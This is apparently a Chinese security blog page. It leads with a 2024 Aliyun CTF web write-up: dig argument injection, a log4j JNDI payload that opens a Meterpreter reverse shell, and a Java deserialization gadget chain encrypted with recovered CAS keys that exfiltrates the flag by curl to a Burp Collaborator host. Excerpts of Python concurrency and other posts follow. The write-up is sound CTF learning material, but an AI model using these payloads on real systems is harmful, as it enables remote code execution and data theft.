0%

2024Aliyun-ctf-web writeup

前言

又是周末比赛,希望以后的CTF组织者都搞到周中 这样在公司上班就能打比赛,本来也是公司要求参与的。这次web题目难度还行,其他的题目没怎么做。所以还是只写web的题目了,记录下。

题目

web签到

image-20240326101813236

一看就是查询dns的,抓包:

image-20240326101851988

很有可能是dig命令,最终将结果base64返回并输出,探测了很长时间domain发现过滤的非常严格。后续在type处注入,也大量的字符转义。翻阅dig参数 有一个-f读取文件,直接读根目录flag。

1
{"domain":"baidu.com","type":"-f/flag"}

easyCAS

解法1

username处存在log4j,使用burp自带的dnslog探测确实存在。使用JNDIExploit 直接利用tomcatbypass模块反弹shell到metepreter:

先开启ldap

1
java -jar JNDIExploit-1.4-SNAPSHOT.jar --ip 39.105.56.145 --ldapPort 8881

再发送请求

username=${jndi:ldap://1.1.1.1:8881/TomcatBypass/Meterpreter/1.1.1.1/8884}

image-20240326151324753

标准解法

我猜测这个可能是官方想要的考点,否则log4j打太无脑了。

查阅资料发现默认的用户名是 casuser,密码是 Mellon

http://web3.aliyunctf.com:23723//login?service=http%3A%2F%2Fweb3.aliyunctf.com%3A23723%2Fstatus%2Fheapdump

通过上述链接下载heapdump。直接去访问直接跳转127.0.0.1了。

我们先分析题目,说的是5.x以后就没有问题了吗?我们都知道4.x有反序列化的问题,类似shiro有默认key,直接打反序列化的gadgets。现在5.x的key不是默认了,但是我们有heapdump,IDEA打开查询对应可以:

org.apereo.cas.util.cipher.WebflowConversationStateCipherExecutor

先写一个危险类执行命令,test.class:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package aliyunCTF_Easy_Cas;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.util.Base64;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class test extends AbstractTranslet {
public test() throws IOException {
super();
String result = execCommand("cat /flag.txt").trim();
String command = "curl "+Base64.getEncoder().encodeToString(result.getBytes()).replaceAll("=+$", "") +".244uevo5icza8bg0mu6m4krtekki87.burpcollaborator.net";
execCommand(command);
//Runtime.getRuntime().exec("bash -c 'curl `whoami`.jwjb6cgmatrr0s8heby3w1ja61cw0l.burpcollaborator.net'");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
private static String execCommand(String command) throws IOException {
StringBuffer output = new StringBuffer();
Process process = Runtime.getRuntime().exec(command);

BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line + "\n");
}
return output.toString();
}
}

然后我们结合CB1NOCC反序列化链,构造一个反序列化并利用上面拿到的key加密(直接看网上的分析文章把加密部分扒了过来组合)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
package aliyunCTF_Easy_Cas;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.serialize.Serializer;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apereo.cas.util.cipher.WebflowConversationStateCipherExecutor;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
import java.util.zip.GZIPOutputStream;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import org.apache.commons.beanutils.BeanComparator;

import javax.crypto.spec.SecretKeySpec;

public class attackAeperoCas {

public static void setFieldValue(Object obj, String filedname, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(filedname);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {

// 构造CB1nocc链接
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(test.class.getName());
byte[] code = clazz.toBytecode();
TemplatesImpl ti =new TemplatesImpl();
setFieldValue(ti,"_bytecodes",new byte[][]{code});
setFieldValue(ti, "_name", "eval");
final BeanComparator bc = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> pq = new PriorityQueue<Object>(2,bc);
pq.add("1");
pq.add("1");
setFieldValue(bc,"property","outputProperties");
setFieldValue(pq,"queue",new Object[]{ti,ti});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(pq);
oos.close();

//加密payload
byte[] skey = "CdsZkifxK9MfH9v0CJ-DJoEvJ3wPMNqUZ8AKoYFLSCwiQ4PGtuh90rN7-QzyaLdALxO3ZtNfgX_de7Pm7kd0Zg".getBytes();
byte[] ekey = new byte[]{56,62,-30,-91,93,25,105,-71,-92,-30,110,45,-27,44,89,-36};
SecretKeySpec enkey = new SecretKeySpec(ekey, "AES");
WebflowConversationStateCipherExecutor webflowConversationStateCipherExecutor = new WebflowConversationStateCipherExecutor(new String(ekey), new String(skey), "AES", 512, 16);

//这里用setfield 因为setfield我们编写类可以设置父类的属性
setfield(webflowConversationStateCipherExecutor, "encryptionKey", enkey);

System.out.println(Base64.getEncoder().encodeToString(webflowConversationStateCipherExecutor.encode(compressString(barr.toByteArray()))));


}
public static byte[] compressString(byte[] data) {
// 使用ByteArrayOutputStream来捕获压缩数据
try (ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
GZIPOutputStream gzipOS = new GZIPOutputStream(bos)) {
// 写入数据到GZIPOutputStream,它会处理压缩
gzipOS.write(data);
// 完成压缩数据的写入
gzipOS.close();
// 返回压缩后的字节数组
return bos.toByteArray();
} catch (IOException e) {
e.printStackTrace();
return null;
}
}
//得遍历父类设置对应属性。因为encryptionKey属于webflowConversationStateCipherExecutor父类的属性。
static public void setfield(Object targetObject, String fieldName, Object newValue) throws NoSuchFieldException {
try {
// 获取目标对象的类对象
Class<?> currentClass = targetObject.getClass();

// 循环遍历当前类及其父类,直到找到该字段或到达Object类
Field field = null;
while (currentClass != null) {
try {
field = currentClass.getDeclaredField(fieldName);
break; // 字段找到,退出循环
} catch (NoSuchFieldException e) {
// 当前类中没有该字段,继续在父类中查找
currentClass = currentClass.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException("Field " + fieldName + " not found in class hierarchy");
}
// 设置访问权限,允许访问私有字段
field.setAccessible(true);
// 设置新的字段值
field.set(targetObject, newValue);

} catch (IllegalAccessException e) {
e.printStackTrace();
}
}

}

直接DNS携带getshell

image-20240327222115754

这样可能才是这次考点,但是没想到这个环境有log4j直接就RCE了。

重点:CB1NOCC + 加密流程

Pastbin

直接条件竞争,代码直接chagpt就行😂:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import asyncio
import aiohttp

async def fetch_url(session, url):
while True:
async with session.get(url) as response:
status = response.status
data = await response.text()
if "aliyunctf" in data:
print("------------------------------"+data)
#print(f"{url} => Status: {status}, Data: {data[:100]}") # 打印状态码和部分响应内容

async def main():
urls = ['http://web2.aliyunctf.com:20518/about', 'http://web2.aliyunctf.com:20518/flag']

# 创建一个aiohttp的ClientSession实例
async with aiohttp.ClientSession() as session:
tasks = []
for url in urls:
for i in range(200):
tasks.append(fetch_url(session,url))
await asyncio.gather(*tasks)

# 运行主要的协程
asyncio.run(main())

DownunderCTF 2023 writeup

前言

这比赛周末打的,web题目做出来一半(简单的那一半),medium以上的一道题目没做出来,名次由于这次只有我一个人参加,而我只会做些web和misc以及一点点crypto,逆向和pwn完全不会,而且国外的套路和国内还是不一样啊。最终排名也是泯然众人,中间名次。看了看后来的wp,简单的写一些这次收获到内容的一些题目吧。

这个比赛很好的一点在于提供了所有的题目环境,下次再出题正好改改。😂

题目环境地址:https://github.com/DownUnderCTF/Challenges_2023_Public/

阅读全文 »

python中执行速度的技术选择

前言

最近在开发一个扫描的项目,很多时候,发现一个函数的执行比较频繁且缓慢,我不知道应该用多线程、协程、还是多进程 或是消息队列等。

这说明目前开发水平太差,还是有很多需要学习的地方。所以就想着学习一些各个技术,然后简单的做个笔记啊,并总结出什么时候用哪种技术,可以让整个扫描更快。当然目前还是自嗨开发小项目阶段,没做过大项目工程,有见解不对的地方还望看到的人指正。

后面主要介绍多线程、协程、消息队列和异步。

多线程

python一提起多线程,我们搜到的资料基本就会说是鸡肋,是没用的,应该使用协程。以前我也没有好好的深究过这个问题,现在我们来看下python的多线程到底有没有用?

首先网上的资料都会说到GIL的问题导致python多线程很鸡肋,那什么是GIL锁?

GIL锁

GIL的存在主要是为了防止Python解释器中的数据结构被多个线程同时修改,导致数据结构出现不一致的情况。通过限制同一时刻只有一个线程能够执行Python字节码,GIL可以确保Python解释器中的数据结构不会被多个线程同时修改,从而保证线程安全。

测试

我们写一个多线程和普通执行的测试,都执行5000次计算,一个单线程执行,一个多线程执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# 打印随机数的函数
def print_random():
for i in range(500):
result = 9999999919+5678987656
# response = requests.get("https://www.baidu.com")
# print(response)


# 创建线程并启动
def create_threads():
start_time = time.time()
threads = []
def ppdom():
result = 9999999919+5678987656
# response = requests.get("https://www.baidu.com")
# print(response)
for i in range(500): # 创建500个线程
thread = threading.Thread(target=ppdom)
thread.start()
for thread in threads:
thread.join()
end_time = time.time()
execution_time = end_time - start_time
print("多线程执行耗时:", execution_time)

def create_singal():
start_time_signal = time.time()
print_random()
end_time_signal = time.time()
print(start_time_signal)
print(end_time_signal)
execution_time1 = end_time_signal - start_time_signal
print("单线程执行耗时:", execution_time1)
# 调用函数
if __name__ == '__main__':
create_singal()
create_threads()

执行多次发现,多线程比单线程的耗时更长(注意这里单线程是e-05次方):

![image-20230904140830892](/Users/geez/Library/Application Support/typora-user-images/image-20230904140830892.png)

这真的很离谱,多线程好像还不如单线程呢,完全没必要用到多线程。难道真的就是网上说的啥时候都别用多线程就对了吗?

那再看看下面这个代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import threading
import random
import time
import requests



## 多线程和单线程的比较

# 打印随机数的函数
def print_random():
for _ in range(5):
# result = 99+100
response = requests.get("https://www.baidu.com")
print(response)


# 创建线程并启动
def create_threads():
start_time = time.time()
threads = []
def ppdom():
# result = 99+100
response = requests.get("https://www.baidu.com")
print(response)
for _ in range(5): # 创建5个线程
thread = threading.Thread(target=ppdom)
thread.start()
end_time = time.time()
execution_time = end_time - start_time
print("多线程执行耗时:", execution_time)

def create_singal():
start_time = time.time()
print_random()
end_time = time.time()
execution_time = end_time - start_time
print("单线程执行耗时:", execution_time)
# 调用函数
if __name__ == '__main__':
create_threads()
create_singal()

这里我们仅修改函数从原来的简单计算改为网络请求,运行结果如下:

![image-20230901172004526](/Users/geez/Library/Application Support/typora-user-images/image-20230901172004526.png)

同样执行五次请求,这时候我们可以发现多线程远远快于单线程,这是为什么呢?

因为耗时的IO应用(内存、网络、硬盘等等读取属于IO密集型运算)并不影响线程的执行,也就是cpu和IO是可以并行的。由于上面的代码中 request.get() 一个 I/O 密集型操作,即主要花费时间在等待网络 I/O 操作完成上。由于线程是独立的,一个线程在等待网络响应时,其他线程可以继续执行,从而最大程度上减少了阻塞等待的时间。所以我们也能看到速度飞快。

结论

由此我们可以得出结论,在GIL锁存在的情况下,如果程序是IO密集型的,那么多线程可以极大的加快速度。但如果程序不是 I/O 密集型时,多线程可能并不能提高性能,甚至还可能因为线程间的上下文切换导致额外的开销。另外由于GIL锁的存在,即使你的CPU多核,也很难发挥作用。所以多线程的运用与否主要考虑是否是IO密集型的操作。

协程

上面说到了多线程,现在再来看看协程是怎么回事。

概念
Python 3 引入了协程(coroutine)的概念,通过使用关键字 async 和 await 实现。协程是一种轻量级的并发编程方式,支持在单线程中实现并发执行的效果。

下面是Python 3中协程的一些重要特点和概念:

  • 协程与生成器(generator):协程使用async def定义,并通过await关键字来挂起执行和等待其他协程完成。协程本质上是一种特殊的生成器,利用生成器的yield关键字进行状态保存和恢复。
  • async 和 await关键字:async关键字用于定义协程函数,表示函数是一个可以被挂起和恢复的协程。await关键字用于挂起协程的执行,等待另一个协程完成或者等待I/O操作完成。
  • 非阻塞的等待:协程可以在等待I/O完成时挂起执行,允许其他协程继续执行。这种非阻塞的等待方式使得协程能够充分利用CPU和I/O资源,提高并发性能。
  • 事件循环(event loop):Python 3的协程通常会在事件循环中执行。事件循环负责调度多个协程,使它们能够交替执行和等待,以实现并发效果。
  • 异步I/O支持:协程在处理I/O密集型任务时特别有效。常用的异步I/O库例如asyncio提供了高级的异步编程机制,用于处理协程之间的调度和协作。

测试
我们再次编写一个测试函数,分别用到了协程、多线程和单线程,分别执行50次的请求百度的运算:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74

import requests
import threading
import asyncio
import time

# 普通执行版本
def normal_execution():
start_time = time.time()
for _ in range(50):
# result = 99+1000
response = requests.get("https://www.baidu.com")
# print(response)
end_time = time.time()
execution_time = end_time - start_time
print("普通执行耗时:", execution_time)

# 多线程执行版本
def threaded_execution():
start_time = time.time()
threads = []

def thread_function():
# result = 99+1000
response = requests.get("https://www.baidu.com")
# print(response)

for _ in range(50):
thread = threading.Thread(target=thread_function)
threads.append(thread)
thread.start()

for thread in threads:
thread.join()

end_time = time.time()
execution_time = end_time - start_time
print("多线程执行耗时:", execution_time)

async def fetch(session):
url = 'https://www.baidu.com'
async with session.get(url) as response:
return await response.text()

async def request_baidu():
async with aiohttp.ClientSession() as session:
tasks = []
for _ in range(50):
task = asyncio.ensure_future(fetch(session))
tasks.append(task)
responses = await asyncio.gather(*tasks)



# 比较函数
def compare_execution_time():
print("开始普通执行...")
normal_execution()

print("\n开始多线程执行...")
threaded_execution()

print("\n开始协程执行...")
start_time = time.time()
loop = asyncio.get_event_loop()
results = loop.run_until_complete(request_baidu())
end_time = time.time()
execution_time = end_time - start_time
print("协程执行耗时:", execution_time)

# 调用比较函数
if __name__ == '__main__':
compare_execution_time()

执行结果如下:

![image-20230904141410552](/Users/geez/Library/Application Support/typora-user-images/image-20230904141410552.png)

可以看到协程速度飞快,

我们再换成IO非密集操作仅作算数计算,同样都计算500次:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import requests
import threading
import asyncio
import time

# 普通执行版本
def normal_execution():
start_time = time.time()
for _ in range(500):
result = 99999+54673829
# response = requests.get("https://www.baidu.com")
# print(response)
end_time = time.time()
execution_time = end_time - start_time
print("普通执行耗时:", execution_time)

# 多线程执行版本
def threaded_execution():
start_time = time.time()
threads = []

def thread_function():
result = 99999+54673829
# response = requests.get("https://www.baidu.com")
# print(response)

for _ in range(500):
thread = threading.Thread(target=thread_function)
threads.append(thread)
thread.start()

for thread in threads:
thread.join()

end_time = time.time()
execution_time = end_time - start_time
print("多线程执行耗时:", execution_time)

async def fetch(session):
result = 99999+54673829

async def request_baidu():
async with aiohttp.ClientSession() as session:
tasks = []
for _ in range(500):
task = asyncio.ensure_future(fetch(session))
tasks.append(task)
responses = await asyncio.gather(*tasks)



# 比较函数
def compare_execution_time():
print("开始普通执行...")
normal_execution()

print("\n开始多线程执行...")
threaded_execution()

print("\n开始协程执行...")
start_time = time.time()
loop = asyncio.get_event_loop()
results = loop.run_until_complete(request_baidu())
end_time = time.time()
execution_time = end_time - start_time
print("协程执行耗时:", execution_time)

# 调用比较函数
if __name__ == '__main__':
compare_execution_time()


执行结果:

![image-20230904141620788](/Users/geez/Library/Application Support/typora-user-images/image-20230904141620788.png)

可以看到协程速度虽然比多线程快,但还不如单线程,这就又回到了前面那样,在计算密集型计算中协程和多线程都是弟弟水平。但是协程度又确实比多线程快,那是不是以后需要用到多线程的地方直接用协程就行?

当然不是,如果注意观察可以看到上述代码中请求百度的库,别的代码使用的是requests,而协程使用的是aiohttp,这是因为requests不支持异步,也就没办法支持协程。另外协程的编程复杂度也高于多线程。所以很多时候在协程库不支持或是协程复杂度实现不能接受的时候,可以考虑使用多线程。

结论:

CPU密集型操作协程速度大于多线程但不如单线程,IO密集型操作协程远远大于多线程和单线程。

多进程

上面的比较又引出一个新的问题,CPU密集型的运算中 难道就只能使用单线程吗?

当然不是,这里我们引入多进程的概念:

  • Python中的多进程是指同时运行多个独立进程的能力。每个进程都有自己独立的内存空间和资源,可以并行地执行任务。这种并行和独立的特性使得多进程在处理计算密集型任务和提高CPU利用率方面非常有效。Python提供了multiprocessing模块来支持多进程编程

测试CPU密集型计算:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

import time
import multiprocessing

def cpu_intensive_calculation():
total = 0
for i in range(20000000):
total += i
return total

def single_threaded():
start_time = time.time()

for i in range(8):
cpu_intensive_calculation()

end_time = time.time()
elapsed_time = end_time - start_time
print(f"单线程执行耗时: {elapsed_time} seconds")
def multi_process1():
start_time = time.time()

num_processes = multiprocessing.cpu_count() # 获取CPU核心数量 8个
print(num_processes)
num_tasks = 5000

processes = []
for _ in range(num_processes):
process = multiprocessing.Process(target=cpu_intensive_calculation)
processes.append(process)
process.start()

for process in processes:
process.join()
end_time = time.time()
elapsed_time = end_time - start_time
print(f"多进程执行耗时: {elapsed_time} seconds")

if __name__ == '__main__':
single_threaded()
multi_process1()

执行结果如下

![image-20230904143720227](/Users/geez/Library/Application Support/typora-user-images/image-20230904143720227.png)

可以看到 多进程在CPU密集型计算中会更有优势一点。

消息队列

其实协程中就有异步的概念,消息队列也有点异步的意思,严格来说消息队列和线程、进程不是一类技术,它是为了解决另一个问题:解耦、异步、削峰。

解耦:比如打卡系统和考勤系统是关联的,那么如果中间加入消息队列,打卡系统就只需要把打卡的数据放入消息队列由考勤系统去取就行。不必关心这两者系统的关联。

异步:多人打卡时可能每个打卡到都需要记录到考勤系统,但不可能每个人都是打完卡记录完以后才能下一个人打开,消息队列可以异步处理。简单说就是 打卡时打卡,考勤记录是考勤记录,中间由消息队列提供缓存和消息传递。

削峰:并发访问高峰期,可以缓存到中间件中减少对其他任务的压力。比如发送邮件是耗时应用,每天定期发送的邮件可能有几封,但是一家公司可能有上千人,这时候发送邮件就可以进入消息队列,然后再慢慢发送,防止流量过载。

消息队列的使用demo:

1、安装celery和redis

1
pip install celery

2、创建使用celery的应用

1
2
3
4
5
6
7
8
9
10
from celery import Celery

# 创建 Celery 应用
app = Celery('myapp', broker='redis://localhost:6379/0')

# 定义任务
@app.task
def add(x, y):
return x + y

3、启动celry服务端,也就是启动消息队列:

1
celery -A tasks worker --loglevel=info

4、其他函数调用消息队列

1
2
3
4
from tasks import add

result = add.delay(4, 6)
print(result.get())

什么时候使用?耗时应用需要解耦、异步、削峰处理时使用此技术。

比如一个爬虫,它需要爬去、解析内容、记录到数据库。

那每个任务都可以写成多线程,然后进入消息队列,下一个任务直接从消息队列中取并继续压入消息队列:

怎么选择

如果是CPU密集型任务,那当然直接多进程。

如果是IO密集型任务,就有两种选择多线程和协程,如果协程库支持不完善,代码复杂度超出能力。那就选择多线程,否则选择协程,毕竟协程是新的技术,应该有更好的速度表现。

当需要 解耦、异步、削峰 时我们考虑消息队列并结合上述的技术进行优化。

![image-20230905153811141](/Users/geez/Library/Application Support/typora-user-images/image-20230905153811141.png)

备注

需要注意的是进程、线程、协程不是并列关系,他们是包含关系。进程包含线程包含协程。也就是说一个进程可以有多个线程一个线程可以有多个进程。

由于本身不是程序员,对代码理解有限,如果文中有错误的地方欢迎评论区指出。

CSP的原理和绕过

xss的编码那么复杂,一不小心就会过滤失败,同时不同的触发点还要逐个修复、即使可以统前端过滤,仍存在漏掉的风险。那么有没有一种办法可以禁止用户插入的js代码执行呢?是有的,这就是CSP!

CSP的实现和执行全部由浏览器完成,浏览器来根据你的规则,禁止引入外部的那些链接和插入的js代码的执行,那怎么告诉浏览器我要开启CSP策略呢?

使用方法

1、通过 HTTP 头信息的Content-Security-Policy

1
2
Content-Security-Policy: script-src 'self'; object-src 'none'; 
style-src cdn.example.org third-party.org; child-src https:
阅读全文 »

xss之浏览器的编码和解码

在做一些xss的过滤和绕过时,总是使用各种编码绕过,有时候是unicode,有时候是urlencode,有时候是HTML实体化编码,但是很多时候都是直接fuzz,对于存在xss的漏洞点,并没有清楚的分析和认识,对于浏览器的编码和解码没有系统的认识,这会导致我们的payload理解不到位,从而错失很多个src中的xss漏洞。为了以后能更好的挖掘xss漏洞和更快的fuzz出过waf手法。今天就来详细梳理下浏览器的编码和解码过程。

阅读全文 »

前言

再一次CTF比赛中遇到了三四层穿透的靶场,当时由于没有外网,而且也不知道什么网络原因导致穿透三层的时候一直没成功。这个假期正好有时间就找了一个靶场,看看多层的穿透到底应该怎么来比较方便。

靶场选取的是CFS三层靶场,网上一搜就有,这里不再提供下载链接了。

环境搭建

网络环境

这里是三层网络环境,设置了三个vmnet:

image-20221005202301343

阅读全文 »

网鼎杯比赛感想

水浅王八多,python真是多。 白虎组也太卷了,金融行业尤其卷,能做出来crypto和web我能理解,pwn、reverse都是强项,比web还强,那是平常不干业务吗?难以理解,而且现在比赛都不是pwn爹了,那是pwn爷爷,ak了web,还做了misc和crypto,最后只有三四百分,一道pwn题就是400多分,一道pwn就能进线下。现在web狗真是没啥活路。

吐槽归吐槽,但是还是技不如人。不过这次白虎组web基本都做出来了。先记录下WP吧!

阅读全文 »

Java动态代理

最近在看java的动态代理,做下笔记

什么是代理

代购:如果你想买的东西在国外,你一般不会飞过去买完再飞回来,而是有个中介,帮你处理这件事,这个中介就是代购,也就是代理。帮你办一件事就是代理。

客户 —– 代理(代购) ——国外商场

为什么找代购?

便宜省心专业,我不能自己去国外买。同时代购为了自己的优势,不让买家接触自己的进货渠道,你想要这个价格和服务就只能通过代购。所以很多时候只能通过代购来买东西。

阅读全文 »

前言

最近在好几次HW中发现现有的几个扫描shiro key的漏洞经常会爆出密钥,但是又无法利用,刚开始的时候以为是利用链的问题,后来发现有时候同样的站,跑不同的几次有时候能扫描出来密钥,有时候则不行。后来分析了这个工具发现密钥误报和利用链有关。

原理

在shiro反序列化漏洞刚出来的那段时间,网上的大部分工具都是通过URLDNS这条链条来验证的,这个验证有点是比较准确,缺点就是在很多不出网的内网机器中容易漏扫。后来牛逼的大佬发现了SimplePrincipalCollection这个类,

暂未写完,有空再来填坑

Celery定时任务

celery beat

定时任务由 Celery Beat 进程周期性地将任务发往任务队列,所以我们需要启动一个Celery Beat和一个Celery Worker。Celery Beat启动方式和Celery Worker一致,下面我们先来看下Celery定时任务怎么coding。

设置

首先是定时任务的各种设置

时区

默认情况下是UTC 时区,可以通过timezone修改:

1
2
3
4
timezone='Europe/London'
# 或者配置中国时间
app.conf.timezone = 'Asia/Shanghai'
app.conf.enable_utc = False
阅读全文 »